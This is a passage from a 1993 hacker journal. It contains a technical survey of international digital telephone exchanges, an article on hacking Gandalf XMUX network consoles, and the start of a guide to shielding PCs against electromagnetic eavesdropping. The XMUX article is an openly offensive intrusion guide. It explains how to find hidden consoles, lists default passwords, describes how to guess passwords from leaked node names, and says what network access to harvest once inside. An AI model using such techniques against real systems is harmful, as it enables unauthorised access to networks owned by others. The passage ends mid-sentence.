switching network, the +subscriber connection units (URA) and the circuit connection units (URM). + +System Control +Is made up of three levels: + +- a processing level in the line and circuit connection units, where +subscriber circuits are controlled +- central common switching control +- CTI + +First Level Control +Is conducted by: + +- 2 markers (MQ) +- 2 translators (TR) +- 2 incurred fee metering units (TX) +- 2-6 multiregisters + +All of these units are related to a single switch and communicate on a bus +LM. + +MQ - interfaces common control to the central switch and subscriber and +circuit connection units +MR - receives and retransmits information and adjudicates the opening and +closing of connections. +TR - stores subscriber and circuit data +TX - free metering units +OC - control interface unit connects the CTI to other subassemblies. + +Subscriber Connection Unit + +Because traffic is concentrated on a small number of digital PCM systems, the +subscriber connection unit is needed to provide analog to digital +conversation. It also handles remote subscribers. The unit connects thousands +of lines to a central TS on PCM channels. + +Software + +switching programs - perform loop status sensing, condition detection, +connection and disconnection, switch identification. maintenance subscriber +status memories etc. + +monitoring programs - monitor the core of CSE, test and fault tracing +routines etc. + +All programs are written in Assembly. + +Functions +E 12 provides: + +- CCS7 +- traffic observation +- automatic fault tracing +- remote fault tracing +- service grade measurement +- operator assistance position +- automatic call back etc. + +Organization +E 12 is organized into three areas: + +- the switching network which handles signalling channels and +incoming/outgoing multiplexes +- the signalling units which handle channel allocation, CMF, CCS, DTF etc. +- a main SPC computer + +All of which are connected to connection units (see the subscriber connection +unit). + +Programs +The main programs used are: + +- program execution system, interfaces with the rest of the systems program +- exchange interface IOP (SEST) +- data interface IOP (SESI) +- signalling processor (SIG) +- common programs (PCO) for data +- call processor (TAP) + +Service Management Unit (GES) does man/machine transactions, routing tables +and prefixes, signalling type allocations, traffic observation and logs +traffic data. + +Fault Recovery System (DEF) will reconfigure after a detection of a system +failure, providing efficient recovery. + +Tracing and fault isolation (TED) will isolate a fault down to the PCB level +and carry out CRCs for fault prevention. + +Digital Switching Subsystem (DSS) - United Kingdom (+44) +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +DSS was created by the British Post Office (BPO) to serve as the nations +first digital switch. + +Subsystems +DSS uses specific hardware and software functions to interface subsystems. +The main DSS interfaces are located at the following subsystems: + +- call processing system (CPS) +- maintenance control subsystem (MCS) +- analogue line termination system (ALTS) +- network synchronization system (NSS) +- management statistics subsystem (MSS) + +The main connecting interface in DSS is a 2048 kbit/s, 32 channel multiplex. +Which is used for example to connect the switchblock and auxiliary units. + +Trunking + +DSS is capable of handling international switching centres of up to 20,000 +erlangs and over 400 switch requests a second. To meet this the switch must +be multistage. The DSS switchblock has identical originating and terminating +circuits. A four-wire multiplex has a transit and receive pair on both ends +of the circuit. So information on the busy/free state of both is available +from one. + +To achieve spatial routing which is necessary for two channels to be +connected, DSS uses integrated circuit multiplexers (encoders). + +DSS's time dividing in trunking allows single switches to carry large amounts +of traffic. The drawback to this is that should a fault occur on this switch, +thousands of calls could be disrupted. To ease this risk, synchronous +duplication of the TST setup with data comparison and parity checking is +done. + +Subsystem Functions + +- digital line termination unit (DLT) interfaces the four-wire, 32 time-slot +2048 kbit/s multiplexers with the switchblock + +- the TS transfers input time slots to output times slots + +- space switch (SS) is an integrated circuit set for devices that connect +links with the trunk + +- alarm monitor unit (AMU) - relieves the main cpu's load by handling alarm +data + +- primary waveform generator (PWFG) is the clock with DSS is based on. By +sending 8 Khz tone start signals and 2048 Khz bit streams, operations are +directed + +- local synchronization utility (LSU) uses incoming PCM links for timing and +maintains the frequency of its oscillators using phase locked loop techniques + +- input/output buffer (IOB) stores messages from the software to the CLU + +The Time Switch + +Buffers the time reception with the time allocated from cross-office +switching with the space switch and the actual time of transmission. It also +does alarm interfacing between monitoring equipment and trunking. The TS is +composed of: + +- speech stores (including DLT interfaces and store refining registers) +- control stores +- alarm interface unit (AIU) (including DLT and AMU interfaces) +- TS racks - a complete send and receive switch within DSS. The two TSs are +used in trunking are in 1 rack with 32 DLT units. +- space switch - a set of buffer and crosspoint units. Using the 2048 Khz +clock, the transmission of traffic is done on the TS interface buffer. + +Hardware + +The processor utility (PU) IOB is interfaced with the CCU by the PSS IOB. The +IOB communicates with the following: + +- command field - ordering operations such as measure, trace, opening or the +removing of TSs. +- address fields - set network termination numbers (NTNs) that define TSs, +circuits etc. +- message identity field +- cross office slot field - makes sure that traces don't duplicate their +efforts by setting the points to start from during fault location. + +AMU + +AMU handles DSS's specific functions such as the collection and persistence +checking of status info and diagnostic hardware. AMU interfaces to the PU and +thus advises the DSS maintenance software on fault areas. AMU receives time +and fault switchblock indicators from DLT using AIU in the TS. Persistence +checks are done to label the alarm as hard or transient. + +DLT + +DLT conducts the line associated functions of monitoring, installation etc. +DLT also performs switch-related operations. Several are for simple backup +duplications of such functions as trunking and switch fault detections. + +DLT Related Functions + +The line processor encodes or decodes HDB3 signals and recovers the received +clock. The clock is recovered by using a ringing circuit. The clock +synchronizes the switching centre by providing a network frequency reference. +DLT will identify remote alarm information if the distant alarm bit (usually +bit 3 in channel 0 of odd frames) shows a problem. DSS will, using AMU +instruct MCS to locate the fault. An alarm indications signal (AIS) shows a +transmission equipment failure by tossing out a load of "1s" in the frame. + +Line errors can be detected locally if HDB3 input goes or if synchronization +is off. If this occurs MCS is informed and DSS transmits a distant alarm unit +signal. + +Switch-related DLT functions are usually involved in duplicated trunking, +fault location or switching channel 0 spare-bits. + +The most interesting function is fault location. DLT works with maintenance +software to locate and diagnose switchblock faults. By using path checks or +loop backs, results are sent via AIU to DLT. + +Paths are tested using check patterns at both ends of a trunk. They can be +sent in and monitored on any channel after switching. Registers are used to +store the check patterns and they are controlled by the "central office". + +Or the DLT will "loop back" its transmit channels to the receive input of +trunking. Loop back is sometimes combined with a path check. By changing the +switch connections a closed loop can be implemented throughout the trunk. +Closed loops are very effective in determining hard faults from transient +ones. + +Netherlands - PRX-D (+31) +~~~~~~~~~~~~~~~~~~~ + +The Processor Controlled Exchange-Digital (PRX-D) builds upon the PRX system +with digital-time division multiplexing (TDM) and with other enhancements. +PRX-D was developed by Philips Telecommunication as an intelligent SPC +system. + +The three main areas of PRXs are: +- the switching network (SWN) +- central control complex (CCC) +- operator services (OPS) + +Two different versions of trunk lines are used. An analog version - PRX-A has +six linked stages and reed-relay crosspoints of two or four wires or a +digital version of the TST type. Local or remote usage is possible by sending +traffic to the trunks. + +The CCC has two types of telecom processors (TCP) to deal with different size +exchanges. TCP 18 covers small-medium exchanges and TCP 36 medium-large +exchanges using multiprocessing with synchronized pairs. + +OPS is controlled by a mini-processor called TCP 7. OPS deals with OA&M and +AMA. + +Architecture + +PRX-D is made of two layers: +- the main layer with the CCC, TCP XX and the control channel processor +terminals (CPT), connecting this layer to the control channel (CCH) +- another layer of SWN modules and the sub-channel controller (SCC) + +The digital switching network (DSWN) passes voice and data traffic on 64 +kbit/s, 32 channel PCMs. The PSWN has block terminals (TER) which interface +to other circuits and allow services and signals to be interconnected by a +digital trunk link network (DTN). + +DTN + +DTN is a one-way only transmission on a 4 wire connection. The highway-to- +group (HGD) and group-to-highway multiplexer (GHM) are 16 inlet ports in 4 X +4 groups. A highway switch (HWS) is a group of up to 128 X 128 highways whose +crosspoints can switch from one highway to the next under the control of a +highway switch address generator (HSA). A highway-to-group demultiplexer +(HGD) does the opposite of the GHM. + +A digital trunk-line block (DTB) carries a single highway and is controlled +by a DTB marker (DTM). DTN utilizes 7 varieties of customized low current- +mode logic (CCL) ICs. + +CCL + +The central clock (CCL) is made up of the synchronized mode clock generators +(CLG), the clock measuring unit (CMU) and sometimes a clock reference unit +(CRU). The DTN is sent timing information on 4096 Khz sine waves and 8 Khz +alignment pulses. + +Terminals + +The 4 main TERs are: +- interfacing analog circuits (ACT) +- subscriber lines +- digital circuits (DLT) +- signalling and services (SST) + +- ACT has a peripheral module controller (AMC), a power supply unit (PSU) and +possibly a DTN interface board (DIB). The DIB performs the transmission of +timing signals and assigns time slots. + +- SST handles 2048 kbit/s groups by using DTN for signalling ie. MFC, +keytones etc. for services such as voice response systems. + +Software + +The operational program for TCP 18 is made up of: +- master control program (MCP) +- call processing +- error management +- configuration management + +The MCP handles the central control unit (CCU), I/O operations and other +misc. services. + +Communication between the main control unit (MCU) and the PMC is done by +transport handlers such as the digital trunk marker (DTM), analog circuit +terminal (ACT), digital circuit terminal (DCT) and the signalling and service +terminal (SST). + +Call Handling + +One part of the Telephony Operating System (TOS) is call processing modules. +Which distribute calls to an open CCU depending on network conditions. If a +secondary control unit (SCU) is available it will receive the calls. If +niether is available then the MCU will receive them. + +Error Maintenance + +Error detecting hardware does diagnostics such as checking parity, comparing +timeout circuits etc. By using hardware to perform tests, checking is done +every time the hardware runs and processing time needn't be wasted running +testprograms. When the hardware equipment itself needs testing, testprograms +are then used. + +Germany - EWS-D (+49) +~~~~~~~~~~~~~~~ + +Manufactured by Siemens Telecom, EWS-D is a complete digital switching +system, capable of serving from 200 lines to 60,000 trunks. + +Architecture + +Subscriber line terminations and interchange trunks are used with trunk/line +groups (LTGs) where digital tone generators and digit receivers are located. +A TS performs connections inside of the LTG. Digital switching connects the +groups to a central processor (CP). Functions carried out by the CP include +overall switching, data storage and remote operation of the system. + +Here's a quick example of how a call would be processed under EWS-D: + +- the group processor (GP) sense that the phone is off-hook and gives the +caller a tone generator and a digit receiver on the LTG using the group +switch (GS). +- the GP sends the service requested and the dialled digits to the CP. +- CP checks the callers COS, locates a path and informs GP of the caller +- the callee's GP finishes the connection with its LTG, sends a ringing and +places the callee off-hook. + +LTG + +Signals from an analog subscriber's line are converted into PCM signals on +the line circuit. Up to four interexchange trunk terminations comprise one +module. Four modules make up one highway and up to 128 interexchange trunks +can be on one LTG. A basic subscriber line circuit interfaces with any +signalling system. Notable functions of the subscriber line circuit are the +50/16 kHz call charge meters on the subscriber's premises, access circuitry +for testing and paystation signalling. + +The PCM 30 transmission system has its synchronization, signalling channel +and alarm signal on one module. 2.048 Mbit/s highways are connected to the +GS. For a connection to the central network, 4 2.048's become one 8.192 +Mbit/s signal. Because the network is duplicated, the identical modules can +easily be used for testing. + +Tones such as MFC frequencies are generated digitally on a LTG and sent to +the GS. One change here can effect the entire network. +Central Switching Network + +By using a central switching network up to 504 trunk groups, equivalent to +100,000 subscriber lines or 604 trunks can be attained. 8.192 Mbit/s +interfaces are used between the network and the LTG. As mentioned before the +entire network is duplicated. In case of a fault, the network will switch +over to its other half. + +Control and Common Signalling Channels + +Control channels are grouped into units of 128 for distribution on the 8.192 +Mbit/s network. The channels in time lot 0 are switched to the LTG only on +transmission links. Only half - 64 of 128 control channels are used. The +other half are for future uses. + +With SS7 the procedure for switching signalling channels though the LTG is +identical to that of the control channels. + +OA&M + +Digital systems such as this have far fewer errors than analog SPC systems do +due to the smaller number of modules. EWS-D is expected to have fewer than 12 +hardware faults per 1000 LTGs with less than 2 hours per fault. + +Both hardware and test programs are used to diagnose both subscriber line and +trunk faults. When testing is done on long distance trunks the equipment on +the distant exchange and on the transmission system is done. Measuring +equipment such as ATME2 look at the director and responder operations. Most +local trunks are still copper and EWSD has contacts on the incoming and +outgoing circuits for testing. The monitoring of PCM transmission links is +integrated into EWS-D. + +System status is given by an operating terminal indicating system traffic, +the failure/active status of redundant central units, LTGs and equipment +inside LTGs, the number of removed from active LTGs, subscriber lines and the +number of non-switchable call requests. Remote operations can be done via +this terminal. + +Administration tasks are also performed at the operating terminal. When a +remote operator is needed, communication equipment such as Transdata is used +to connect to the exchanges over the data transmission channel. + +Italy - PROTEO (+39) +~~~~~~~~~~~~~~ + +PROTEO was designed by Societa Italiana Telecomunicazioni SpA (SITS). + +Architecture + +It is a fully integrated, digital switching system with SPC. Signals are +converted from analog to digital and transmitted over a PCM. Capacity is +30,000 subscribers in 32 peripheral exchanges (CTs) hooked up to a transit +network (RT) using 32, 2 channel PCMs. Overall control is by a central +computer (CC). A lone CT can handle 2,304 subscriber lines with 18 PCMs, 270 +LF trunks and possess 2 line control units (UCL) on a connecting network +(RC). + +Subscribers and trunks are connected through a time division multiplex (TDM) +and can go directly to PAM without the analog to digital conversion using +voice scanners if need be. + +The CT, can act as a switch if internal subscribers are being switched to +RTs. CT is commonly connected to the RT for interconnections with external +switches. The CT has a codecom unit to convert analog to digital or digital +to analog for PCM bundle generation or insertion into PAM. A TST connection +network is inside the RT and is controlled by the CC using the transit +control unit (UCT). The RC switches 64 kbit/s data channels on 2 Mbit/s PCM +bundles towards UCS when exchange signalling exists and to UCM when remote +signalling comes in on a common channel. If CCS isn't present, then +signalling control units (UCS) are used to process signalling codes. + +Maintenance + +CC uses LEONE processors in SPC for maintenance and has a BHCA capacity of +150,000. PROTEO handles rural areas quite well as CTs can be located at great +distances from the RT. If less than 250 subscribers exist, concentrators will +be used to connect them to a CT. + +Flexibility + +The modularity of PROTEO is its ability to adapt to different network +conditions. By having functions act independently of others, upgrades and +maintenance is simplified. + +Japan - NEAX 61 (+81) +~~~~~~~~~~~~~~~ + +The NEAX 61 was designed by Nippon Electric Co. and was first installed in +the US. But due to its origin it is being included as a Japanese system. It +has SPC, PCM TDM and uses a four stage TSST switching network. + +Specifications + +circuit capacity: +local switching - 100,000 lines, 13,000 trunks +toll switching - 60,000 trunks +international switching - 30,000 international circuits +network capacity - 22,000 erlangs +call handling capacity - 700,000 BHCA + +Architecture + +NEAX 61 is comprised of 4 subsystems: + +- application subsystem - several service interface modules each having line +and trunk circuits, interface circuits, multiplexers and a controller. This +subsystem gives a standard interface to the other subsystems. It controls the +terminal circuits and interfaces them with the switching subsystem. Service +modules receive information from the processor to establish paths and other +actions. Each service module has a terminal and interface circuit, a +duplicated controller and primary multiplexer (PMUX) and demultiplexer. The +controllers collect terminal circuit scanning data, control the terminal and +interface circuits and communicate with the processor. The modules each have +their own terminal and interface circuits: + +- analog trunk interface module - Both the terminal and interface circuits +are codecs. Any analog trunk can be used by the module and each trunk has its +own codec channel. + +- analog line interface module - The terminal circuit is an analog line +circuit that conducts two to four wire conversion, ringing application, +protects against overvoltage and other testing procedures. By using one of +four switch selectable balancing networks an insertion loss less than 0.5 dB +is possible. + +- digital line interface module - Connects PCM analog and digital subscriber +carrier lines. The interface circuit is a digital line switch that +concentrates digital lines by assigning time slots and putting each time slot +on a serial bit stream to the PMUX. + +- operator position interface module - connects the different operator +positions such as toll and directory assistance. Operators converse with +callers over position trunk circuits. The controller has a capacity of up to +64 operator positions and the PMUX can have up to 120 operators on a position +trunk. + +- processor subsystem + +- Maintenance and Administration subsystem - Alarm information is shown on +the maintenance frame or at a supervisory test desk. The line test desk +platforms subscriber line testing. NEC has a technical assistance center +where NEC personnel provide support on a subscription basis. + +--------------------------------------------------------------------------- +Sources +Various IEEE Documents +Helpful International Operators +--------------------------------------------------------------------------- + +The LOD Technical Journal: File #9 of 12 + + Hacking + GANDALF XMUX'S + ----------------------- + Written by: + Deicide + on 03/29/93 + =========================== +*NOTE: While writing this file I assumed that the reader has a working + knowledge of PSNs. +||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| + + The Gandalf XMUX is made by Gandalf Technologies Incorporated. It is +one of two popular systems Gandalf makes, the other being the +Starmaster/PACX. These systems are very closely knit, as you'll see later, +but the focus of this g-file is on the XMUX system. I still don't have a XMUX +manual, so this file will be a bit incomplete, but it will give you a good +sense of the system; How to Identify it, How to Penetrate it, and How to Use +it. There are a number of security flaws in the XMUX, all of which can be +circumvented but frequently are not. Occasionally you will find an +unpassworded console, in that case just move on to the How to Use it section. + The Gandalf systems are very frequently found on all the major PSNs, as +Gandalf's themselves often serve as network controllers. Most of the major +companies, such as Xerox & Bell Canada, use XMUXs, so it is a good idea to +become familiar with the system. + +How To Find Your XMUX & How To Identify It +------------------------------------------ + First of all, if you find an unpassworded XMUX it will tell you by the +herald "Gandalf XMUX Primary Console Menu" followed by the menu itself. Skip +this part for now. + But for the rest of you, you probably still need to find your XMUX, and +you need to know how to identify it. + Before we get further into this, a small amount of knowledge of the whole +scope of the XMUX is needed. Every XMUX is made up of at least 4 parts, each +present on every single XMUX. These parts are called: + - Console + - Fox + - Logger + - Machine +The Console is the actual system, the part that has to be hacked, the part +that contains the information we are attempting to retrieve. +The Fox is a test machine, serving no other purpose except to spout "THE +QUICK BROWN FOX JUMPS OVER THE LAZY DOG 1234567890 DE" over and over again. +The Logger is displays a line or two of information such as the time & the +LCN called, for the most part unimportant. But it does contain the node name. +The Machine is basically a system information giver. I have yet to discover +all of it's commands, but S gives some systems stats (including the node +name) and L is an optional command that supplies the user with a system log +(which contains link addresses & UID's). +All of these can be useful in some way. + The XMUX can be found in a number of ways: + - On a standard NUA(XXXX XXXX) + - On a standard NUA + extension(XXXX XXXX,XXXXXXXX) + - On extensions off of Starmasters & PACXs.(XXXX XXXX,XXXXXXXX) + - On LCN's (subaddressing) off any other type of system/OS. +??????????????????????????????????????????????????????????????????????????? +NOTE:"Password >" is the password prompt for the XMUX Console, occasionally +proceeded by an operator definable system message such as "Vancouver XMUX". +To be sure that this is a XMUX prompt, hit . If it returns the message + "Invalid Name + Names must consist of 1 to 8 alphanumeric characters" +Then you are dealing with the XMUX Console. +??????????????????????????????????????????????????????????????????????????? +On a standard NUA it will bring you right to the "Password >" prompt, no +hassles. You can then proceed to the section that deals with hacking the +console. +On a standard NUA + extention, it is not so easy. When you first hit the NUA, +it will give you the "Remote Directive" error message, telling you that you +"forgot" the extention. Now, the error message could mean you forgot the +extention for a VAX, also, but we will assume that it is a XMUX on the NUA. +This is true only a fraction of the time, but try this on every Remote +Directive message, you'll find a good share of XMUX's. First of all, try the +LCN (subaddress) of 1 on the NUA. If you come up with the Fox segment of the +XMUX (explained earlier) then you have an XMUX Console on the NUA, it's just +hiding. If the LCN brings up the Remote Directive message again, then try the +extention of LOGGER on the NUA. If it brings up the XMUX Logger, then again, +the XMUX Console is there, but with a bit of security added on. If you now +know that you are on an XMUX, try the CONSOLE extention. It should bring you +to the "Password >" prompt, or occasionally right inside without needing a +password. +Starmaster's and PACX's almost always have an XMUX attached on to it. Use the +Starmaster or PACX's NUA + the extention CONSOLE. It will most likely bring +you to the "Password >" prompt. If it doesn't work, try LCN's. If that fails, +try "XMUX" or "XCON" from the Starmaster/PACX service prompt. +The LCN's off all the other system/OS types is a bit more complicated. You +can either guess, pick the likely ones, or try them all. What this is is an +XMUX in coexistance with another type of system, such as AOS/VS. The most +common way to find these is by adding an LCN of 1 to the NUA of the system. +If it comes up with the XMUX FOX section, then you can be sure an XMUX is +present. To find the XMUX Console, use LCN's of 4 and above(2 & 3 being +Logger and Machine), up to the LCN of 15(maximum on XMUX). If you still +haven't found the Console, and it's returning the Remote Directive error +message, now's the time to use the CONSOLE extention. In most cases it'll +bring up the "Password >" prompt, or right into the Console Menu. + +HOW TO PENETRATE THE XMUX CONSOLE "PASSWORD >" PROMPT +----------------------------------------------------- + To start you off, XMUX Console Passwords MUST be within 1 to 8 +alphanumeric characters. Any combination within that boundary is an +acceptable password. Now, while it is true that the password could be a +random letter/number combination, such as G2Z7SWJ8, and therefore extremely +impractical to hack, it is almost a given that the password is a relevant +word or abbreviation, with not more than one numeric character, which is +usually not even included. Also, you get 4 attempts at a password before +being logged off, and remember, you don't even need to find a username. + When you first reach the "Password >" prompt it's a good idea to try the +defaults(in order of occurance): + - Gandalf + - Xmux + - Console + - System +Also, Password (no, really), Network, CPU, Switch & Network are also +frequently found. + Then, if the defaults don't work, it's time for a little calculated brute +forcing. If the system has a herald, such as "BenDover Field Communications" +then try everything you possible can thing of that is relevant to the herald, +such as Bendover, Ben, Dover, BDFC, Field, Telecom, etc. Also, combine these +with the defaults, particularly Xmux. As in BenXMUX, or FieldMux, etc. If +there is no herald, or all the thing you can think of to do with the herald +fail as passwords, then it is time to get the node name. The node name is +used very frequently as a password, thus a good thing to try. But where to +get the node name with out getting the password first? It is contained in two +other places other than the Console, with ALWAYS at least one of the +facilities open to you. The Logger (LCN 2, or extention LOGGER) always spurts +out the log name first upon connect. This is always available, I have only +seen one case in which the Logger information was protected, and that was +achieved by wiping it out, which very few administrator's do. The other +source is the Machine (LCN 3, or extention MACHINE), a very handy source of +information. You will recognize the Machine by its "#" prompt. At this prompt +type "S" for system stats. The first thing you see in the system stats is the +Node Name. Also, with machines type "L". Occasionally it will be set to show +the log, which contains the Link Addresses (usually other netted computers, +frequently Gandalfs) and UID's as well. Try the Node Name by itself as a +password, then in combination with all the above, such as a combo of Default +& Node Name. If you follow all these above methods, 50% of the time you +will find the password. If you don't get the password, don't worry, there are +many more XMUX's out there with poor security, go for those. But before you +move on, try the LCN's from 4-15, frequently you'll find another system, +often a private PAD or an outdial. + +WHAT TO DO WITH THE XMUX CONSOLE ONCE INSIDE +-------------------------------------------- + For those itching to read other people's mail, or retrieve confidential +files, etc, you will be very disappointed. Although once inside the XMUX +Console you have virtual Superuser status, the commands are all maintenance +related. But, often you will find other systems, quite often networks, PADs, +& outdials from inside. + You will first encounter the primary menu, which looks similar to this: +Gandalf XMUX (date) +Rev(version) Primary Console Menu (time) + Node:(nodename) +Primary Menu: + 1. Define + 2. Display + 3. Maintenance + 4. Supervise + 5. Exit +Primary selection > + + Now, although there are some other useful and interesting features to the +XMUX console, I will only show you the 3 most useful features, those being +Abbreviated Command, Service & Call Status. + Abbreviated Command is an option found in the Define sub-menu. Hit 7 once +inside the Define sub-menu to bring up the Abbreviated Command prompt. Type +a ? to show all the abbreviated commands. If there are none, curse your luck +and move on to the next feature. If there are some, type them in, one at a +time. Each Abbreviated command is really a macro, and a macro of a NUA plus +the subaddressing and data character extension needed to enter the system. +These can be very useful, not only for the NUA & subaddress, but for the fact +that the extension is included. Most times extensions are hard if not +impossible to guess, and the macro throws it right in your face. The +Abbreviated Command is in the format of XXXXXXXXdEXTENSION, in that the X's +are where the NUA is placed, the EXTENSION is the extension characters, and +the 'd' is really where the comma goes to separate the two. So if the +Abbreviated Command was 55500123dabc, the NUA would actually be + - 55500123,abc - + Service is a menu option also from the Define sub-menu. What it enables +you to do is view all the services available, plus their function & LCN. +Type "11" from the define menu, then "?" for a list of the services +available. Console, Fox, Logger & Machine will always be present. Anything +else is a bonus, and should be capitalized upon. For example, if you see +"Modem" as one of the services, then enter "Modem" from the Service sub-sub- +menu to see which LCN the modem is on. + Display Call Status is a handy command used from the Display sub-menu +which gives a log of all the calls the system has handled. In the call log +are the NUA's of the system that called, often a netted system such as +another Gandalf. +--------------------------------------------------------------------------- + +The LOD Technical Journal: File 10 of 12 + + Tempest in a Teapot + ------------------- + + +Do-it-yourself techniques to inhibit electromagnetic eavesdropping +of personal computers. + +Grady Ward + +-----BEGIN PGP PUBLIC KEY BLOCK----- +Version: 2.2 + +mQCOAiumM0QAAAED+JPD8OULO2aXRvU2FDksMjJeGT96kGK5eJK1grkXuIHz+6pe +jiedYOv72kBQoquycun191Ku4wsWVTz6ox/bpReBs5414OTPzQVJgWQzCW1N4BfV +Wr4eEn3qnFsVLXXxk3oYGydIeJcmelSyuPSq/Oq7Q+eHkKgjqxDTjVMu8iEAEQEA +AbABh7QuR3JhZHkgV2FyZCAgPGdyYWR5QG5ldGNvbS5jb20+ICAoNzA3KSA4MjYt +NzcxNbABAw== +=e3rN +-----END PGP PUBLIC KEY BLOCK----- + + +Version 1.0 22 March 93 + +TEMPEST is the code name for technology related to limiting unwanted +electromagnetic emissions from data processing and related equipment. Its +goal is to limit an opponent's capability to collect information about the +internal data flow of computer equipment. Most information concerning TEMPEST +specifications is classified by the United States Government and is not +available for use by its citizens. + +The reason why TEMPEST technology is particularly important for +computers and other data processing equipment is the kinds of signals +components in a computer use to talk to each other ("square waves") and their +clock speeds (measured in megahertz) produce a particularly rich set of +unintentional signals in a wide portion of the electromagnetic spectrum. +Because the spurious emissions occupy so wide a portion of that spectrum, +technologies used to block one portion of the spectrum (as pulling the shades +closed on a window to stop the visible light portion) are not necessarily +effective in another portion. + +Unintentional emissions from a computer system can be captured and +processed to reveal information about the target systems from simple levels +of activity to even remotely copying keystrokes or capturing +monitor information. It is speculated that poorly protected systems can be +effectively monitored up to the order of one kilometer from the target +equipment. + +This note will examine some practical aspects of reducing the +susceptibility of your personal computer equipment to remote monitoring using +easily-installed, widely available after-market components. + + + I + +One way of looking at TEMPEST from the lay person's point-of-view is that it +is virtually identical to the problem of preventing electromagnetic +interference ("EMI") by your computer system to others' radios, televisions, +or other consumer electronics. That is, preventing the emission of wide-band +radio "hash" from your computers, cabling, and peripherals both prevents +interference to you and your neighbours television set and limits the useful +signal available to a person surreptitiously monitoring. + +Viewing the problem in this light, there are quite a few useful documents +available form the government and elsewhere attacking this problem and +providing a wealth of practical solutions and resources. Very useful for the +lay person are: + +Radio Frequency Interference: How to Find It and Fix It.

My personal +goal, for example, might be to reduce the amount and quality of spurious +emission until the monitoring van a kilometer away would have to be in my +front yard before it could effectively eavesdrop on my computer. Apartment +dwellers with unknown neighbours only inches away (through a wall) might want +to even more carefully adopt as many of the following suggestions as possible +since signal available for detection decreases as approximately the inverse +square of the distance from the monitoring equipment to your computer. + + + II + Start with computer equipment that meets modern standards for emission. + +In the United States, the "quietest" standard for computers and peripherals +is known as the "class B" level. (Class A level is a less stringent standard +for computers to be use in a business environment.). + +You want to verify that all computers and peripherals you use meet the class +B standard which permits only one-tenth the power of spurious emissions than +the class A standard. If you already own computer equipment with an FCC ID, +you can find out which standard applies. Contact the FCC Consumers Assistance +Branch at 1-717-337-1212 for details in accessing their database. + +Once you own good equipment, follow the manufacturer's recommendations for +preserving the shielding integrity of the system. Don't operated the system +with the cover off and keep "slot covers" in the back of the computer in +place. + + + III + Use only shielded cable for all system interconnections. + +A shielded cable surrounds the core of control wires with a metal braid or +foil to keep signals confined to that core. In the late seventies it was +common to use unshielded cable such as "ribbon" cable to connect the computer +with, say, a diskette drive. Unshielded cable acts just like an antenna for +signals generated by your computer and peripherals. Most computer +manufacturer supply shielded cable for use with their computers in order to +meet FCC standards. Cables bought from third-parties are an unknown and +should be avoided (unless you are willing to take one apart to see for +yourself!) +Try to avoid a "rat's nest" of wire and cabling behind your equipment and by +keeping all cables as short as possible. You want to reduced the length of +unintended antennas and to more easily predict the likely paths of electric +and magnetic coupling from cable to cable so that it can be more effectively +filtered. + + + IV + Block radiation from the power cord(s) into the house wiring. + +Most computers have an EMI filter built into their body where the AC line +cord enters the power supply. This filter is generally insufficient to +prevent substantial re-radiation of EMI voltages back into the power wiring +of your house and neighbourhood. To reduce the power retransmitted down the +AC power cords of your equipment, plug them in to special EMI filters that +are in turn plugged into the wall socket. I use a model 475-3 +overvoltage and EMI filter manufactured by + +Industrial Communication Engineers, Ltd. +P.O. Box 18495 +Indianapolis, IN 46218-0495 +1-800-ICE-COMM +ask for their package of free information sheets + +(AC and other filters mentioned in this note are available from a wide +variety of sources including, for example, Radio Shack. I am enthusiastic +about ICE because of the "over-designed" quality of their equipment. Standard +disclaimers apply.) + +This particular filter from ICE is specified to reduce retransmission of EMI +by a factor of at least 1000 in its high-frequency design range. Although +ideally every computer component using an AC line cord ought to be filtered, +it is especially important for the monitor and computer CPU to be filtered in +this manner as the most useful information available to opponents is believed +to come from these sources. + + + V + Block retransmitted information from entering your fax/modem or + telephone line. + +Telephone line is generally very poorly shielded. EMI from your computer can +be retransmitted directly into the phone line through your modem or can be +unintentionally picked up by the magnetic portion of the EMI spectrum through +magnetic induction from power supplies or the yoke of your cathode ray tube +"CRT" monitor. + +To prevent direct retransmission, EMI filters are specifically designed for +modular telephone jacks to mount at the telephone or modem, and for +mounting directly at the service entrance to the house. + +Sources of well-designed telephone-line filter products include ICE +(address above) and + +K-COM +Box 82 +Randolph, OH 44265 +216-325-2110 + +Your phone company or telephone manufacturer may be able to supply +you with free modular filters, although the design frequencies of these +filters may not be high enough to be effective through much of the EMI +spectrum of interest. Keep telephone lines away from power supplies of +computers or peripherals and the rear of CRTs: the magnetic field often +associated with those device can inductively transfer to unshielded lines +just as if the telephone line were directly electrically connected to them. +Since this kind of coupling decreases rapidly with distance, this kind of +magnetic induction can be virtually eliminated by keeping as much distance +(several feet or more) as possible between the power supply/monitor yoke and +cabling. + + + VI + Use ferrite toroids and split beads to prevent EMI from escaping on the +surface of your cables. + +Ferrites are magnetic materials that, for certain ranges of EMI +frequencies, attenuate the EMI by causing it to spend itself in heat in the +material rather than continuing down the cable. They can be applied without +cutting the cable by snapping together a "split bead" form over a thick cable +such as a power cord or by threading thinner cable such as telephone several +times around the donut-shaped ferrite form. Every cable leaving your monitor, +computer, mouse, keyboard, and other computer +peripherals should have at least one ferrite core attentuator. Don't forget +the telephone lines from your fax, modem, telephone or the unshielded DC +power cord to your modem. Ferrites are applied as close to the EMI emitting +device as possible so as to afford the least amount of cable that can act as +an antenna for the EMI. + + +Good sources for ferrite split beads and toroids include + +Amidon Associates, Inc. +P.O. Box 956 +Torrance, CA 90508 +310-763-5770 +(ask for their free information sheet) + +Palomar Engineers +P.O. Box 462222 +Escondido, CA 92046 +619-747-3343 +(ask for their free RFI information sheet) + +and Radio Shack. + + + VII + Other practical remedies. + +Other remedies that are somewhat more difficult to correctly apply +include providing a good EMI "ground" shield for your computer equipment and +other more intrusive filters such as bypass capacitor filters. + +You probably ought not to think about adding bypass capacitors unless you are +familiar with electronic circuits and digital design. While quite effective, +added improperly to the motherboard or cabling of a computer they can "smooth +out" the square wave digital waveform -- perhaps to the extent that signals +are interpreted erroneously causing mysterious "crashes" of your system. In +other cases, bypass capacitors can cause unwanted parasitic oscillation on +the transistorized output drivers of certain circuits which could damage or +destroy those circuits in the computer or peripherals. Also, unlike ferrite +toroids, adding capacitors requires actually physically splicing them in or +soldering them into circuits. This opens up the +possibility of electric shock, damage to other electronic components or +voiding the warranty on the computer equipment. + +A good EMI ground is difficult to achieve. Unlike an electrical safety +ground, such as the third wire in a three-wire AC power system, the EMI +ground must operate effectively over a much wider part of the EMI spectrum. +This effectiveness is related to a quality known as electrical 